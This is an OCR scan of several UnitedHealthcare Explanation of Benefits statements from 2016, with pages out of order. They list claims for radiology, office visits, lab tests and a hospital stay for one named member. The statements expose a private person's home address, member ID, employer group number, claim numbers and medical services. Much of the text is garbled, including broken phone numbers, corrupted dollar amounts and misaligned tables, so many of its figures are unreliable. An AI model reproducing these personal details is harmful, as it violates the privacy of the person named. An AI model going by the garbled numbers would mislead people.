review. STD-EOB Page 3 of 5 Use this EOB statement as a reference or retain as needed S VG.06584'01'1l31894-M0-18284-~311-AFUS 32SYCP UnitedHealthcare llllA-Qooc>~ United HealthCare Services;.. Inc. GREENSBORO SERVICE .._,ENTER October 10, 2016 PO BOX 740809 ATLANTA.,. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit infonnation. Claim Detail for JEFFREY DAMUKAITIS Provider: ENVISION IMAGING AT Claim Number: 615903773201 Patient Account Number: HIP465624 Your Itemized Res onsibilit to Provider"* Date(s) of Type of Service Notes* Amount Plan Your Plan· Amount You Service Billed (-) Discounts (-) -Paid Ueduct1ble (+) Copay \+) Coinsurance (+) Non Covered (=) Owe 09/22/2016 RADIOLOGY SERVICES D1 $198.00 $112.63 $85.37 09/22/2016 RADIOLOGY SERVICES D1 $216.00 $120.33 $95.67 $0.00 $0.00 $0.00 $0.00 $0.0 Claim Total: $414.00 $232.96 $181.04 $0.00 $0.00 $0.00 $0.00 $0.00 •*This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. Claim Detail for JEFFREY DAMUKAITIS Provider: ENVISION IMAGING AT Claim Number: 615903773202 Patient Account Number: HIP465624 Your Itemized Res onsibilit to Provider** Date(s) of Type of Service Notes* Amount Plan YourPlan Amount You Service Billed (-) Discounts (-) -Paid Deductible (+) Copay (+J Coinsurance (+) Non Covered(~) Owe STD-EOB Page 2 of 5 Use this EOB statement as a reference or retain as needed United HealthCare Services, Inc. GREENSBORO SERVICE CENTER PO BOX 740809 ATLANTA, GA 30374-0802 S VG-06564"01.031893-MO-18~-60311-AFUS 31SYCP UnitedHealthcar~ ~ A-Qiiup Con-j)any Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. DPS$$$PKG JEFFREY DAMUKAITIS 2201 WILLOW CREEK DR LITTLE ELM TX 75068-4917 I11 I•11111• 1 •I•111I•II'h11IIII11111•I1111111I,,,,I,111IIII•111,, October 10, 2016 Member/Patient lnfonnation Member/Patient: JEFFREY DAMUKAITIS Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group#: 0201057 Explanation of Benefits st1tement This is not a bill. Do not pay. This is to notify you that we processed your claim. Claims Summary Detailed claim inforrnation is located oh the following page(s). I .. :--Dollar Amount Description :T .,.. l_ ....:..:;;:.,41-,' • -=:!. _;;::_ ~---­·--...., ~I, Amount Billed . , . . ... ~. $1,003.00 .. This Is the total amount that your provider l:M!led fer the services that were provided to you.'' · ' 1 · Ir · · ,iii.;: I . .: Your Plan Paid . . ,;\ ·.: ·:f..',:: $441 .00 This is the ­~rtion of1the amount billed that was paId·by your'plan. . ··· :i)i~t~?t ,,_." ,1 -. -----Total1 amount,you 1owe t~ provider(s)---~--..t­=­·--~ -=­•-=· --=­' -The.portion.of-the A1'11ounf-Billed yo1,.1 owe the pror'ide((s).~ This amount does.not,reflect any =-= ~payment you may have-already.made at-the time1Y9u received care.._This amouo._t mayJnclud~your . _deductible,-~pay, coinsurance and/or·n9n.C<?vefect .charg~s.-This ~mou~ 99~~;!JQt inc;tud.~,S,!l-Y..f : ~"-'" ,.. payments made to the subscribe,.... If a paymen~was made direotly.J_o the ~ubs_$.ber, yowttie~ ;: . _ subsc_riber ls responsible forpaying the physician!, facility_or other health care Rm.[essionaJ, _ ---_.. l -. J ----=­..:......, ~J l'f!'len CQQn:lif1~!jQ,'1of b_eq~fi.ts, ~t>Pli':S, th_i_s am·?unt ~ii iodude__ paYD;)ents m_ad_i!Jp th~ SUE_SCOb~r:... Page 1 of 5 STD-EOB Use this EOB statement as a reference or retain as needed 000001089439788 S VE-183'27"02"093396-M0-16008-60311-AFUS 22SYCP fill Unired.Healthcare UA-0..,,~ United HealthCare Services;..lnc. GREENSBORO SERVICE \.;ENTER January 08, 2016 PO BOX 740809 ATLANTAA GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2015 Annual (-)Applied to (=)Remaining Annual (-)Applied to (=)Remaining JEFFREY FAMILY Amount Date Balance Amount Date Balance Relationship: EE ,:·; ,: . .., IN NETWORK IN NETWORK . Deductible $1,400.00 $700.00 $700.00 Deductible $700.00 $700.00 Mel Out of Pocket $10,000.00 $6,372.1~ $3,617.61 Out of Pocket $5,000.00 $5,000.00 Met .~­ O_tJT ·oF NETWORK~• ~r:::~~ . -~ .OUT OF.NETWORK $2,800.00 $247.01 Deductible $1,400.00 $247.01 $1,152.99 Out of Pocket $15,000.00 $247.01 $14,752.99 Out of Pocket $7,500.00 $247.01 $7,252.99 Deductible $2,552.99 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of Deductible: The deductible is the f1Xed dollar amount that you pay each year toward eligible this EOB statement. health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for Plan Year. The dates your plan benefit maximums are applicable. eligible health care services. Please refer to your plan documents for more information. STD-EOB Use this EOB statement as a reference or retain as needed Page 4 of 4 000000875439824 SVE-18327'021l93395-M0-1eoo&.oo311-AFUS 22SYCP UnitedHealthcare 0 ~~--~ 0 United HealthCare Services;.. Inc. GREENSBORO SERVICE vENTER PO BOX 740809 January 08, 2016 a,;c: 2l Cll ~ ATLANTA.,_ GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com ~ 2 0 for all your claim and benefit infonnation. 0-6 a, P.O. Box 149104 Austin, TX 78714 CD .... 6 "' Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com E-mail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds miilions to tile cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a network physician, request an ID card, refill prescriptions if eligible, obtain more infonnation on EOB content and more! For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The infonnation required for registration is on your insurance ID card (first name, ~~_st name, member ID, group number and date of birth). Maintaining the privacy and security of individuals' personal infonnation is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, including medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code infonnation regarding the services referenced in this communication. STD-EOB Page 3 of 4 Use this EOB statement as a reference or retain as needed S VE-18327'01 '0933!)4.M0-16008-60311-AFUS 22SYCP UnitedHealthcarellllA-°"'41~ United HealthCare Services;.. Inc. GREENSBORO SERVICE .._,ENTER PO BOX 740809 January 08, 2016 ATLANTA.,, GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: K ZIESER Claim Number: 577287948901 Patient Account Number: 001500721466 Your Itemized Res onsibilit to Provider"* Date(s) of Type of Service Notes• Amount Plan Your Plan ! Amo-1nt You Service Billed (-) Discounts (-) Paid . j<=) Dedu1;tible (+) Copay (..-) Coinsurance (+) Non Covered (=) Owe 12/30/2015 OFFICE VISITS D1 $136.00 $54.79 $63.21 Claim Total: $138.00 $54.79 $83.21 **This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. Notes* D1 -THE DISCOUNT SHOWN IS YOUR SAVINGS. YOUR NElWORK PHYSICIAN OR HEALTH CARE PROVIDER HAS AGREED TO THE PLAN DISCOUNT. THE AMOUNT YOU OWE MAY INCLUDE WHAT YOU NEED TO PAY IF YOU HAVE REACHED A BENEFIT LIMIT ON COVERED HEALTH SERVICES. IF YOU NEED MORE INFORMATION ABOUT YOUR BENEFITS, PLEASE GO TO YOUR MEMBER WEBSITE OR PLAN DOCUMENTS. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe STD-EOB Use this EOB statement as a reference or retain as needed Page 2 of 4 000000875439824 United HealthCare Services,1. Inc. GREENSBORO SERVICE \.,ENTER PO BOX 740809 ATLANTA, GA 30374-0802 S VE-18327•(l1"093393-M0-1ro<J8-6J311•AFUS 21SYCP UnitedHealthcare @I AUnitedHoallh ~Corrc,any I Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. January 08, 2016 008MEOBSV2002001-06979-01 JEFFREY DAMUKAITIS Memher/Patient lnfonnation 2201 WILLOW CREEK DR Member/Patient: JEFFREY DAMUKAITIS LITTLE ELM TX 75068-4917 Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group#: 0201057 Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify you that we processed your claim. I Claims Summary Detailed claim information is located on the following page(s). _e.,·•Dollar·Amount Description~~ · -. ··. ', --.........-""'-._,·· ·--:------· .-'."" · f ·· Amount;.Billed·< .. , {;-. -" .,. ·>:,;:: ·· ·, :· ··:.·· · · ,;,·.: , , ·;·:. ..._,., , .;.·..· ...,:•, , ., .. $138.00 This is the total amount that your provxt~r billed r the·services that w&re provided to ·~u. ··· · ?: . -· -~----; -=--= .. , .. ··µ.Ii' i . ·.-:,. , .. P.lan Dis.couri~,;.. : ·._:;'. · . .~ .,. · I . "'.,. . ..,· -! · .· , , . .-•. < ·:, ··; ·· .f-+;_ ·):';' ' ·$54.79 Your ptah negotiates dlsboui'lts'wi.th prti'viders io,·ave}yoo mori~y~ ~s·amount-~at:also inclode-:.; } ,. sEKVlces that you are not responsible to pay. , . . . -. , ,:; ._ . : -. . '. : :-' .. . . . . ' . STD-EOB Page 1 of 4 Use this EOB statement as a reference or retain as needed 000000875439824 S VE-11;1328'03"093401-M0-16008-W:!11-AFUS 22SYCP Unit;ed.Healthcare fJll A\md-C...,°""""' United HealthCare Seivices.i.. Inc. GREENSBORO SERVICE 1..,ENTER January 08, 2016 PO BOX 740809 ATLANTA"' GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Definitions of Key Terms Plan Year: The dates your plan benefit maximums are applicable. STD-EOB Page 5 of 5 Use this EOB statement as a reference or retain as needed S VE-1&328'02"003400-M0-161JOB-«1311-Al'US 22SYCP UnitedHealthcare flll•-Ga,,a.....,, United HealthCare Services.i. Inc. GREENSBORO SERVICE \.iENTER January 08, 2016 PO BOX 740809 ATLANTA,1, GA 30374-0802 Have more questions about your claim? Phone: 1-o00-63~8884 Visit www.myuhc.com for all your claim and benefit information. Maintaining the privacy and security of individuals' personal information is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHealthcare correspondence, induding medical ID cards (if applicable), letters, explanation of benefits (EOBs), and provider remittance advices (PRAs). If you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2015 Annual (-)Applied to (=)Remaining Annual (-)Applied to (=) Remaining JEFFREY FAMILY Amount Date Balance Amount Date Balance Relationshie: EE .., IN NETWORK I. ,: .~ . t;:• ,.,. ~ :.: ·~ ,' --· •.. [11\fNE!VJORK $1,400.00 $700.00 $700.00 Deductible Deductible $700.00 $700,00 Met $10,000.00 $6,362.94 $3,637.06 Out of Pocket Out of Pocket $5,000.00 $5,000.00 Met .;~~· bUJ;~OF;NETWORK ­ .."J'!"'" OUT OF NETWORK _,-: ·· -"--•::.r I Deductible $2,800.00 $247.01 $2,552.99 Deductible $1,400.00 $247.01 $1,152.99 Out of Pocket $15,000.00 $247.01 $14,752.99 Out of Pocket $7,500.00 $247.01 $7,252.99 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement. Deductible: The deductible is the fixed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Coinsurance: The money you pay for health services after you have satisfied the deductible. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. STD-EOB Page 4 of 5 Use this EOB statement as a reference or retain as needed S VE•18328 '02"093399-M0-16008-60311 •AFUS 22SYCP UnitedHealthcare IJ!IA-°"-4>ro_,, United HealthCare Services..,.._lnc. GREENSBORO SERVICE vENTER January 08, 2016 PO BOX 740809 ATLANTA.,_ GA 3037 4-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe P.O. Box 149104 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions.com --E-mail: Consume_lf.r.QtectiQ!l@!Qi.texas.gov__ If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an· independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a network physician, request an ID card, refill prescriptions if eligible, obtain more information on EOB content and morel For immediate, secure self-service visit www.myuhc.com. Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The information required for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). STD-EOB Page 3 of 5 Use this EOB statement as a reference or retain as needed SVE,18328•IW093398-M0,16008-E0311·AFUS 22SYCP Unit.edHealthcareIm ·-~~ United HealthCare Services,._Inc. GREENSBORO SERVICE \.,ENTER January 08, 2016 PO BOX 740809 ATLANTA.i. GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: FOREST PARK MEDICAL Claim Number: 503172591301 Patient Account Number: GAA42694 Date(s) of Service 04/20/2015 ­ Type of Service Notes• ROOM AND BOARD 22 Amount Billed (-) $7;500.00 Plan ·vourPlan Discounts Paid<->' $0.00 $6,750.00 Your Itemized Res onsibilit to Provider** Deductible (+) Copay (+) Coinsurance (+) Non Covered (=) $0.00 $0.00 $750.00 $0.00 Amount You Owe 04/21/2015 04/22/2015 ­04/23/2015 ROOM AND BOARD 02 $5,000.00 $0.00 $4,500.00 $0.00 $0.00 $500.00 $0.00 04/20/2015 ­04/23/2015 IH MISC. SERVICES D2 $84,285.91 $81,307.41 $2,680.65 $0.00 $0.00 $297.85 $0.00 04120/2015 ­04/23/2015 04/20/2015 ­04/23/2015 IH MISC. SERVICES S6 ADJUSTMENT OH $2,978.50 $2,886.00 $0.00 $92.50 -$14,013.90 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 $0.00 Claim Total: $99,764.41 $84,193.41 $9.26 $0.00 $0.00 $1,647.85 $0.00 $1,547.85 **This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment Notes* OH· WE HAVE RECEIVED MORE INFORMATION AND REPROCESSED THIS CLAIM. THIS IS THE AMOUNT THAT WAS ALREADY PAID. 22-WE HAVE RECEIVED MORE INFORMATION AND REPROCESSED THIS CLAIM. D2 · THE DISCOUNT SHO\M\I IS YOUR SAVINGS. YOUR NETWORK FACILITY OR HEALTH CARE PROVIDER HAS AGREED TO THE PLAN DISCOUNT. THE AMOUNT YOU OWE MAY INCLUDE Wt-lAT YOU NEED TO PAY IF YOU HAVE REACHED A BENEFIT LIMIT ON COVERED HEALTH SERVICES. IF YOU NEED MORE INFORMATION ABOUT YOUR BENEFITS, PLEASE GO TO YOUR MEMBER WEBSITE OR PLAN DOCUMENTS. S6 · YOUR OUT-OF-POCKET MAXIMUM HAS BEEN REACHED. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address~ UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. If you request a review of your ciaim denial, we will complete our review no later than 30 days after we receive your request for review. STD-EOB Page 2 of 5 Use this EOB statement as a reference or retain as needed 00000087S440805 S VE-18328.J,'093397-MO-1EI008-60311-AFUS 22SYCP , UnitedHealthcare I 1!11 AUniledHNllh Gro4iC4mj,any United HealthCare Services,1. Inc. 1 GREENSBORO SERVICE 1,.,ENTER PO BOX 740809 ATLANTA, GA 30374-0802 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit ,information. 008MEOBSV2002001-06979-03 January 08, 2016 JEFFREY DAMUKAITIS Member(patjent Information 2201 WILLOW CREEK DRIVE Member/Patient: JEFFREY DAMUKAITIS LITTLE ELM, TX 75068 Member ID: A838199653 Relationship: EE Group Name: RAYTHEON COMPANY Group #: 0201057 Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify you that we processed your claim. l Claims Summary Detailed claim inforrnation is located oh the following page(s). I : i · , l Page 1 of 5 STD-EOB Use this EOB statement as a referencl or retain as needed 000000875440805 S WN-20099'03'095560-M0,16293,60311-AFUS W12SYCP UnitedHealthcare 11111 11•--r.n-oa,, United HealthCare Services;,. Inc. GREENSBORO SERVICE 1..,ENTER October 19, 2016 PO BOX 740809 ATLANTA.i,. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Account Summary Summary of Deductible and Out of Pocket Plan Year: 2016 Annual (-)Applied to (=)Remaining Annual (-)Applied to (=)Remaining JEFFREY FAMILY Amount Date Balance Amount Date Balance Relationship: EE ._.. INNElWORK = .. ; j - IN NElWORK ; -=; Deductible $1,400.00 $700.00 $700.00 Deductible sffio.oo $700.00 Met Out of Pocket $10,000.00 $5,000.00 $5,000.00 Out of Pocket $5,000.00 $5,000.00 Met OUT OF NETWORK "' ,;;;, ~ OUT OF NElWORK -;~-· ~ -., ,. -i: -= Deductible $2,800.00 $0.00 $2,800.001-..: Deductible $1,400.00 $577.00 $823.00 Out of Pocket $15,000.00 $0,00 $15,000.00 Out of Pocket $7,500.00 $0.00 $7,500.00 Definitions of Key Terms Applied to Date: The total amount of money applied to your deductible or out of pocket as of this EOB statement. Out of Pocket This is the amount you pay before your plan benefit starts paying 100% for eligible health care services. Please refer to your plan documents for more information. Deductible: The deductible is the fixed dollar amount that you pay each year toward eligible health care services before your plan benefits are payable. Once the deductible has been met, the co-payment and/or coinsurance period of your plan may begin. Please refer to your plan documents for specific information regarding what services apply to the deductible. Plan Year: The dates your plan benefit maximums are applicable. STD-EOB Use this EOB statement as a reference or retain as needed Page 6 of 6 S WN-20099'03'095559-M0-18293-SJ311-AFUS W1:lS't'CP UnitedHealthcare ,m A.....,_Cla<,ea,,,.,, United HealthCare Services;.. Inc. GREENSBORO SERVICE ,._,ENTER October 19, 2016 PO BOX 740809 ATLANTA.a. GA 30374-0802 Phone: 1-c00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit infonnation. There may be other resources available to help you understand the appeals process. If your plan is governed by ERISA, you can contact the Employee Benefits Security Administration at 1-866-444-EBSA (3272). If your plan is not governed by ERISA, you can contact the Department of Health and Human Services Health Insurance Assistance Team at 1-888-393-2789. Your state consumer assistance program may also be able to assist you at: Texas Department of Insurance Consumer Protection (111-1A) 333 Guadalupe P.O. Box 149091 Austin, TX 78714 Toll-free telephone: 1-800-252-3439 Web site: www.texashealthoptions. com E-mail: [email protected] If we continue to deny the payment, coverage, or service requested or you do not receive a timely decision, you may be able to request an external review of your claim by an independent third party, who will review the denial and issue a final decision. Insurance fraud adds millions to the cost of health care. If services are listed which you did not receive or service you were told would be free, call 1-800-638-8884. Meet Your Needs Online At almost anytime day or night, you can review claims, check eligibility, locate a networ1<. physician, request an ID card, refill prescriptions if eligible, obtain more information on EOB content and more! Fofimmecliate, secare·self=service visit www;myuhc.com,.,....------- Myuhc Registration You can register and begin using myuhc in the same session. Navigate to www.myuhc.com to register. The information required for registration is on your insurance ID card (first name, last name, member ID, group number and date of birth). Maintaining the privacy and security of individuals' personal information is very important to us at UnitedHealthcare. To protect your privacy, we implemented strict confidentiality practices. These practices include the ability to use a unique individual identifier. You may see the unique individual identifier on UnitedHeafthcare correspondence, including medical JD cards (if applicable), fetters, explanation of benefits (EOBs), and provider remittance advices (PRAs). ff you have any questions about the unique individual identifier or its use, please contact your customer care professional at the number shown at the top of this Statement. Please call the number included in this document or on the back of your ID card if you need diagnosis and/or treatment code information regarding the services referenced in this communication. ST0-EOB Page 5 of 6 Use this EOB statement as a reference or retain as needed S WN-20099-02"0955S8-M0-1621l3-60311-AFUS W12SYCP United HealthCare Services;...Inc. GREENSBORO SERVICE 1.,ENTER October 19, 2016 PO BOX 740809 ATLANTA.a. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: D MEYER Claim Number: 618607566801 Patient Account Number: DAMUKIOOOO Your Itemized Res onsibilit to Provider** Date(s) of Type of Service Notes* Amount Plan Your Plan Amount You Service Billed (-) Discounts (-) Paid Dedudib.e (+) Copay (+) Coinsurance (+) Non Covered (=) Owe 09/28/2016 OFFICE VISITS 01 $140.00 $77.75 $62.25 $0.00 $0.00 $0.00 $0.00 09/28/2016 MEDICAL D1 $90.00 $43.50 $46.50 SERVICES Claim Total: $230.00 $121.25 $108.75 $0.00 $0.00 $0.00 $0.00 $0.00 **This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a payment. Notes* D1 -THE DISCOUNT SHOWN IS YOUR SAVINGS. YOUR NETWORK PHYSICIAN OR HEALTH CARE PROVIDER HAS AGREED TO THE PLAN DISCOUNT. THE AMOUNT YOU OWE MAY INCLUDE WHAT YOU NEED TO PAY IFYOU HAVE REACHED A BENEFIT LIMITON COVERED HEALTH SERVICES. IFYOU NEED MORE INFORMATION ABOUT YOUR BENEFITS, PLEASE GO TO YOUR MEMBER WEBSITE OR PLAN DOCUMENTS. IT -THIS PHYSICIAN OR HEALTH CARE PROVIDER IS OUT-OF-NETWORK. BASED ON AN AGREEMENT WITH MULTIPLAN, THE PROVIDER HAS ACCEPTED A DISCOUNT FOR THIS SERVICE. THE DISCOUNT SHOWN IS YOUR SAVINGS AND IS NOT INCLUDED IN THE AMOUNT YOU OWE. IF YOU HAVE PAID THE PHYSICIAN OR HEALTH CARE PROVIDER MORE THAN THE AMOUNT YOU OWE, PLEASE CALL THEM FOR A REFUND. A review of this benefit determination may be requested by submitting your appeal to us in writing at the following address: UnitedHealthcare Appeals, P.O. Box 30432, Salt Lake City, UT 84130-0432. The request for your review must be made within 180 days from the date you receive this statement. lf you request a review of your claim denial, we will complete our review no later than 30 days after we receive your request for review. If your plan is governed by ERISA, you may have the right to file a civil action under ERISA if all required reviews of your claim have been completed. You or your authorized representative, such as a family member or physician, may appeal the decision by submitting comments, documents or other relevant information to the appeal address referenced above. You may request copies (free of charge) of information relevant to your claim by contacting us at the above address. Availability of Consumer Assistance/Ombudsman Services: STD-EOB Use this EOB statement as a reference or retain as needed Page 4 of 6 000001097143422 S WN-20099'02,J!l5557-M0-16293-60311-AFUS W12SYCP United HealthCare Services;..Inc. October 19, 2016 GREENSBORO SERVICE 1.,ENTERPO BOX 740809 ATLANTA,,. GA 30374-0802 Have more questions about your claim? Phone: 1-o00-638-8884 Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Patient Account Number: 4468244472R Provider: QUEST DIAGNOSTICS Claim Number: 617501657102 Your Itemized Res onsibili to Provider"* · Date(s) of Type of Service Notes• Amount Plan ~ our Plan · Amount You 1 Deductible (+) Copay (+) Coinsurance (+) Non Covered ('-') Owe ... I 09/22/2016 LABORATORY IT $35.69 $20.38 $1 .31 SERVICES 09/22/2016 LABORATORY IT $40.51 $24.06 $16.45 Service Billed (-) Discounts (-) ~ Paid .. ;(=) $0.00 $0.00 $0.00 $0.00 SERVICES 09/22/2016 LABORATORY IT $17.29 $9.54 $7.75 $0.00 $0,00 $0.00 $0.00 SERVICES 09/22/2016 LABORATORY IT $56.24 $32.04 $24.20 $0.00 $0.00 $0.00 $0.00 SERVICES 09/22/2016 LABORATORY IT $72.47 $44.72 $27.75 $0.00 $0.00 $0.00 $0.00 SERVICES 09/22/2016 LABORATORY IT $57.93 $31.65 $26.28 $0.00 $0.00 $0.00 $0.00 SERVICES 09/22/2016 LABORATORY IT $131.96 $75.25 $56.71 $0.00 $0.00 $0.00 $0.00 SERVICES $0.00 $0.00 $0.00 $0.00 $0.00 $412.09---$237.64 174.A._5 Claim Total: **This total does not reflect any payments/ copays you made at the time of service. Please wait for a provider bill before making a paymenl Page 3 of 6 STD-EOB S WN-20099"01'095556-M0-16293-60311-AFUS W12SYCP UnitedHealthcarellllA--~~ United HealthCare Services,1,.Inc. GREENSBORO SERVICE ~ENTER PO BOX 740809 October 19, 2016 ATLANTA.,_ GA 30374-0802 Phone: 1-o00-638-8884 Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. Claim Detail for JEFFREY DAMUKAITIS Provider: QUEST DIAGNOSTICS Claim Number: 617501657101 Patient Account Number: 4468244472R Your Itemized Res onsibilit to Provider•• Date(s) of Type of Service Notes• Amount Plan I Your Plan AmoL.Jnt You Service Billed (-) Discounts (-) ,-, Paid =i(=) Deductible (+) Copay (+) Co1nsuram;1c: (+) Non Covered (=) Owe I 09/22/2016 LABORATORY IT $81.12 $45.21 $35.9 ·. I 1"'Tj' SERVICES 09/22/2016 LABORATORY IT $55.16 $33.64 $21.52 $0.00 $0.00 $0.00 $0.00 SERVICES 09/22/2016 LABORATORY IT $108.16 $63.38 $44.78 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES 09/22/2016 LABORATORY IT $44.35 $30.92 $13.43 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES 09/22/2016 LABORATORY IT $53.00 $30.33 $22.67 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES 09/22/2016 LABORATORY IT $156.83 $86.87 $69.96 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES 09/22/2016 LABORATORY IT $28.12 $12.27 $15.85 $0.00 $0.00 $0.00 $0.00 $0.0 SERVICES Claim Total: $626.74 $302.62 $224.12 $0.00 $0.00 $0.00 $0.00 $0.00 ••This total does not reflect any payments I copays you made at the time of service. Please wait for a provider bill before making a payment. STD-EOB Page 2 of 6 Use this EOB statement as a reference or retain as needed 0000010971-43422 United HealthCare Services..r. Inc. GREENSBORO SERVICE \.,ENTER PO BOX 740809 ATLANTA, GA 30374-0802 I S WN-20099'01•095555-M0-16293-00311-AFUS W11SYCP I UnitedHealthcar~ ~ A Unilll!He811h ~C.Ompany ) Have more questions about your claim? Visit www.myuhc.com for all your claim and benefit information. October 19, 2016 OPS$$$PKG JEFFREY DAMUKAITIS Member/Patient lnfonnation 2201 WILLOW CREEK DR Member/Patient: JEFFREY DAMUKAITIS LITTLE ELM TX 75068-4917 Member ID: A838199653 111II IIIII•11II IIIII I11h11IIII1111II I,,111,11.,.,l,111IIII•111I1 Relationship: EE Group Name: RAYTHEON COMPANY Group #: 0201057 Explanation of Benefits Statement This is not a bill. Do not pay. This is to notify you i'we processed your claim. c;laims Summary Detailed claim information is located o~ the following page(s). "?<>liar A~ o-~_rn~-Descriptiorf -=-';·. ·-, ~::=.,,,= =--....'= · -:•~_:.....:_ ~:?'-" -~-:,.= ""-_· · 7"~·-· -~~~ 1 -~""-------'---------~ . . -----· -~--·-­ -· ·Amount BIiied :. ' •. .. .-i, .· i·. . . ·~-· -· -· ., ·. $1,1~.83 ~ is the_total_amount tha~.:~ r provlder--billed ;for the ;se~ ices t~at-~ereprovided to you. ·; ' I I., 1'•1 P-.n Dtscou~ if1 ' ,.-:~; '' 'j ·ii f .·.s .:.· ;'·1-I. ,; . ; . ,ii' I ·~· .' . ·,., 11 ••?-:; nui,:.i!Jil' ! 1'.t:J{,!"',. $681.51 '(ou~ plan n~ c1Uates discounts w~th. provkf$rs to:srve ~ RlOney. Tlis amount mayal~o'in~ud_e 